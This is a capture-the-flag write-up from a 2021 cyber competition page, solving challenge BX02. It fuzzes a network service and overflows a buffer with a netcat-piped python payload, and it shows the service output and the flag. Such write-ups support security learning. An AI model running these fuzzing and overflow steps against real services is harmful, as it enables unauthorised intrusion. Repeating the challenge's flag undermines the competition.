NCS Competition 2021 Writeup
  • HHousen National Cyber Scholarship Competition 2021 Writeup
  • Forensics
    • FE02 - 100pts
    • FE03 - 100pts
    • FH01 - 500pts
    • FE04 - 100pts
    • FM01 - 250pts
    • FM02 - 250pts
    • FM03 - 250pts
    • FE01 - 100pts
  • Crypto
    • CM01 - 250pts
    • CM02 - 250pts
    • CX01 - 1000pts
    • CH01 - 500pts
    • CH02 - 500pts
  • Binary
    • BM01 - 250pts
    • BM02 - 250pts
    • BM03 - 250pts
    • BX01 - 1000pts
    • BX02 - 100pts
    • BE01 - 100pts
    • BE02 - 100pts
    • BH01 - 500pts
  • Networking
    • NM01 - 250pts
    • NE01 - 100pts
  • Web
    • WX01 - 1000pts
    • WE01 - 100pts
    • WE02 - 100pts
    • WH01 - 500pts
    • WH02 - 500pts
    • WM01 - 250pts
    • WM02 - 250pts
    • WM03 - 250pts
    • WM04 - 250pts
    • WM05 - 250pts
  • Challenge Name
Powered by GitBook
On this page
  • Briefing
  • Solution
  • Flag

Was this helpful?

Edit on Git
  1. Binary

BX02 - 100pts

PreviousBX01 - 1000ptsNextBE01 - 100pts

Last updated 4 years ago

Was this helpful?

Briefing

Access the network service at url: cfta-bx02.allyourbases.co port: 8013 and find a way to get the flag.

Solution

  1. It doesn't matter what input we give the service. It always tells us DEBUG: Input length too large. So, the first step is to see if we can find an input that is not too large. I wrote a Python to try every printable ascii character.

  2. The finds that # is the only printable ASCII character that is considered short enough.

  3. I tried sending a lot of #s by running python -c "print('#'*4000)" | nc cfta-bx02.allyourbases.co 8013 and got this error ERROR: Expected userID Variable of 1..

  4. Maybe this service is vulnerable to a buffer overflow. Let's try to find an offset using a script similar to the one used for . The next stage of does this. It keeps sending more and more #s until the message ERROR: Expected userID Variable of 1 is shown. The offset is found to be 2005.

  5. A buffer overflow is successful. The final payload is: python -c "print('#'*2005+'1'*30)" | nc cfta-bx02.allyourbases.co 8013. The 30 1s is arbitrary. I tried one 1 and nothing changed so I tried 30 and it worked.

     Come Fuzz Me Bro.
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Waiting 100ms
     DEBUG: Input length too large.
    
     Flag: ThIsOneIsAbITFuZZy-6y
     DEBUG: Waiting 100ms

Flag

ThIsOneIsAbITFuZZy-6y

script.py
script.py
BX01
script.py